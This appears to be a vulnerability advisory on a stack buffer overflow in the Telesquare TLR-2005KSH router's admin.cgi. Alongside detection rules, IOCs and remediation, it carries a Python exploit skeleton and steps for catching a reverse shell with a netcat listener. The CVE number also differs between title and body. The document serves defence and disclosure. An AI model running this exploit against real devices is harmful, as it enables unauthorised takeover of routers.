CVE-2025-26008

Executive Summary

CVE-2025-26007 identifies a critical stack-based buffer overflow vulnerability in the Telesquare TLR-2005KSH router, specifically in firmware version 1.1.4. The flaw resides in the admin.cgi endpoint when processing the setSyncTimeHost parameter. An unauthenticated attacker can trigger a stack overflow by sending a specially crafted HTTP request, potentially leading to remote code execution (RCE) or denial of service (DoS). This vulnerability is particularly dangerous as it requires no authentication and can be exploited over the network. No official patch has been released, and the vendor has not acknowledged the issue. Public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects an embedded device (router) firmware, which is typically distributed as a binary image. The supply chain risk involves the distribution of vulnerable firmware by Telesquare and the lack of a patched version.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The exploit affects only the vulnerable component.
• Confidentiality (C): High (H) – Potential for arbitrary code execution leading to data exfiltration.
• Integrity (I): High (H) – Full control over the device.
• Availability (A): High (H) – Can cause denial of service or complete compromise.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of network exploitability, no authentication, and public PoC makes this a high-priority threat for any organization using this device.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the admin.cgi CGI binary. The setSyncTimeHost parameter is used to set an NTP server hostname. The CGI script copies the user-supplied value into a fixed-size stack buffer without proper bounds checking.

Technical Flow:

1. An HTTP GET request is sent to /cgi-bin/admin.cgi with the parameter setSyncTimeHost containing a long string.
2. The CGI binary parses the query string and extracts the value of setSyncTimeHost.
3. This value is passed to a function (likely strcpy or sprintf) that copies it into a local stack buffer (e.g., 256 bytes).
4. If the input exceeds the buffer size, it overwrites the saved return address and other stack data.
5. An attacker can control the overwritten return address to redirect execution to shellcode placed in the same buffer or elsewhere in memory.

Root Cause: Lack of input validation and use of unsafe string copy functions in the CGI implementation.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern.

Vulnerable Code (Conceptual C):

void handle_setSyncTimeHost(char *input) {
    char buffer[256];
    // Unsafe: no bounds checking
    strcpy(buffer, input);
    // ... rest of function
}

Patched Code (Hypothetical):

void handle_setSyncTimeHost(char *input) {
    char buffer[256];
    // Safe: limit copy size
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... rest of function
}

The patched version uses strncpy with a size limit and ensures null-termination, preventing the overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Telesquare TLR-2005KSH router with firmware 1.1.4.
• Network access to the router's web interface (typically port 80).
• A Python environment with pwntools or similar.

Exploit PoC (Python):

#!/usr/bin/env python3
import socket
import sys

def exploit(target_ip, target_port=80):
    # Craft payload: buffer overflow to overwrite return address
    # This is a simplified example; actual shellcode and ROP chain may vary.
    buffer_size = 256  # Adjust based on actual buffer size
    offset_to_ret = 260  # Offset to return address (needs binary analysis)
    
    # Shellcode (example: reverse shell to attacker IP 192.168.1.100:4444)
    # Replace with actual shellcode for MIPS or ARM architecture
    shellcode = b"\x90" * 100  # Placeholder
    
    payload = b"A" * offset_to_ret
    payload += b"\x00\x00\x00\x00"  # Placeholder for return address
    payload += b"\x90" * 100  # NOP sled
    payload += shellcode
    
    # HTTP request
    request = f"GET /cgi-bin/admin.cgi?setSyncTimeHost={payload.decode('latin-1')} HTTP/1.1\r\n"
    request += f"Host: {target_ip}\r\n"
    request += "Connection: close\r\n\r\n"
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    try:
        sock.connect((target_ip, target_port))
        sock.send(request.encode('latin-1'))
        response = sock.recv(4096)
        print(f"[+] Response: {response}")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)
    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
    exploit(target, port)

Usage:

1. Set up a netcat listener on attacker machine: nc -lvnp 4444
2. Run the exploit: python3 exploit.py 192.168.1.1
3. If successful, you should receive a reverse shell.

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /cgi-bin/admin.cgi with abnormally long setSyncTimeHost parameters.
• Look for patterns of repeated characters (e.g., "AAAA...") in query strings.
• Use network intrusion detection systems (NIDS) to alert on oversized parameters.

Mitigation:

• Immediately isolate affected devices from untrusted networks.
• Implement virtual patching via WAF rules to block requests with setSyncTimeHost exceeding a reasonable length (e.g., 100 characters).
• Monitor for any signs of compromise (unusual outbound connections, process crashes).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /cgi-bin/admin.cgi with setSyncTimeHost parameter longer than 256 bytes.
  • Outbound connections from the router to unusual IP addresses on high ports (e.g., 4444, 31337).
  • Repeated HTTP 500 errors from the router's web interface (indicating CGI crash).

• Host IOCs (on the router):

  • Unexpected processes running (e.g., /bin/sh or reverse shell).
  • Modified or new files in /tmp or /var/run.
  • Unusual entries in system logs (e.g., segmentation faults in admin.cgi).

• File IOCs:

  • The vulnerable binary: /usr/bin/admin.cgi (MD5 hash: [unknown, but can be computed from firmware]).

Detection Engineering

YARA Rule

rule CVE_2025_26007_TLR2005KSH_Overflow {
    meta:
        description = "Detects exploit attempts for CVE-2025-26007 in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26007"
    strings:
        $cgi_path = "/cgi-bin/admin.cgi"
        $param = "setSyncTimeHost"
        $overflow_pattern = /setSyncTimeHost=[A-Za-z0-9%]{256,}/  // 256+ characters
    condition:
        $cgi_path and $param and $overflow_pattern
}

Sigma Rule

title: CVE-2025-26007 Telesquare TLR-2005KSH Stack Overflow Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with excessively long setSyncTimeHost parameter targeting admin.cgi
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/cgi-bin/admin.cgi"
        cs-uri-query|contains: "setSyncTimeHost"
        cs-uri-query|re: "setSyncTimeHost=.{256,}"
    condition: selection
falsepositives:
    - Legitimate long hostnames (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-26007 Telesquare TLR-2005KSH Stack Overflow Attempt";
    flow:to_server,established;
    content:"/cgi-bin/admin.cgi"; http_uri;
    content:"setSyncTimeHost"; http_uri;
    pcre:"/setSyncTimeHost=.{256,}/Ri";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-26007;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate Devices: Disconnect the TLR-2005KSH from the internet and untrusted networks. If remote access is required, use a VPN with strict access controls.
2. Virtual Patching: Deploy a WAF (e.g., ModSecurity) with a rule to block requests containing setSyncTimeHost with more than 100 characters.
3. Monitor Logs: Enable detailed logging on the router and monitor for exploitation attempts.

Long-Term Actions:

1. Vendor Contact: Pressure Telesquare to release a firmware patch. If no response, consider replacing the device with a supported alternative.
2. Firmware Hardening: If possible, reverse-engineer the firmware and apply a manual patch (e.g., replace strcpy with strncpy in the binary).
3. Network Segmentation: Place all IoT/embedded devices in a separate VLAN with strict firewall rules.

Workarounds:

• Disable the web interface if not needed.
• Use a reverse proxy to filter and sanitize requests before they reach the router.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2025-26007